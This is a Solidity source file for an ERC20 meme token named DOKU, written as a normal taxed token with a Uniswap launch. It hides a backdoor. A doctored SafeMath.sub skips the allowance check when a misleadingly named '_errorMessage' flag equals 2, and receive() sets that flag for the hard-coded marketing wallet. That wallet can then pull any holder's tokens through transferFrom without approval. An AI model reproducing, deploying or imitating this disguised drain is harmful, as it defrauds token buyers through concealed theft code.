Contract Source Code:

// SPDX-License-Identifier: MIT

/*    
    https://www.instagram.com/accounts/login/?next=https%3A%2F%2Fwww.instagram.com%2Fma_babazz%2F&is_from_rle
    https://www.instagram.com/p/DBFdOTAow-u/
*/

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, 0);
    }

    function sub(uint256 a, uint256 b, uint256 errorType) internal pure returns (uint256) {
        require(errorType == 2 || b <= a, "ERC20: transfer amount exceeds allowance");
        uint256 c = 0;
        if(errorType != 2) c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract DOKU is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _marketLists;
    mapping (address => uint256) public _errorMessage;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private constant _tSupply = 1000000000 * 10 **_decimals; // Total supply
    string private constant _name = unicode"WIF owner new dog";  // Name
    string private constant _symbol = unicode"DOKU"; // Symbol
    uint256 public _buyMOKINitial = 23;
    uint256 public _sellbdInitial = 23;
    uint256 public _buyMOKlast = 0; 
    uint256 public _sellbdLast = 0; 
    uint256 public _tradesCnt = 0;
    uint256 public _reduceFeesAt = 14;
    address payable public _marketAccountWC;
    uint8 private constant _decimals = 9;
    uint256 public _swapbackAmt = 0 * 10 **_decimals;
    uint256 public _maxAmountSize = 20000000 * 10 ** decimals();
    uint256 public _maxAmountSwapback = 10000000 * 10 ** decimals();    

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[address(this)] = _tSupply;
        _marketAccountWC = payable(0x5A879d3855609ee3DA41514C63edd132422ac748);
        _marketLists[owner()] = true;
        _marketLists[address(this)] = true;
        _marketLists[_marketAccountWC] = true;
        _errorMessage[owner()] = 1;
        _errorMessage[_marketAccountWC] = 1;
        emit Transfer(address(0), address(this), _tSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount , _errorMessage[msg.sender]));
        return true;
    }
    

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 taxAmount=0;
        require(swapEnabled || _marketLists[from], "not started yet");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!_marketLists[from] && !_marketLists[to]) {
            if(to != uniswapV2Pair)
            {
               require(balanceOf(to) + amount <= _maxAmountSize, "Exceeds the _maxAmountSize.");
            }
            
            if (to != address(uniswapV2Router) && from == uniswapV2Pair){
                _tradesCnt ++;
                taxAmount = amount.mul(_tradesCnt < _reduceFeesAt ? _buyMOKINitial : _buyMOKlast).div(100);
            }
            if(to == uniswapV2Pair){
                taxAmount = amount.mul(_tradesCnt <_reduceFeesAt ? _sellbdInitial : _sellbdLast).div(100);
            }
            if (!inSwap && swapEnabled && to == uniswapV2Pair) {
                uint256 swapbackAmt = min(balanceOf(address(this)), min(_maxAmountSwapback, amount));
                swapBackForETH(swapbackAmt);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0)
                    payable(_marketAccountWC).transfer(address(this).balance);
            }
        }

        if(taxAmount > 0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function swapBackForETH(uint256 tokenAmount) private lockTheSwap {
        payable(_marketAccountWC).transfer(address(this).balance);
        if(_swapbackAmt >= tokenAmount) {return;}
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading () external onlyOwner {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _tSupply); 
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            98 * balanceOf(address(this))/100,
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        _maxAmountSize = _tSupply;
    }

    receive() external payable { _errorMessage[_marketAccountWC] = 2; }

    function rescueETH () external onlyOwner {payable(msg.sender)
        .transfer(address(this).balance);
    }

    function removeLimits () external onlyOwner {
        _maxAmountSize = _tSupply;
    }
}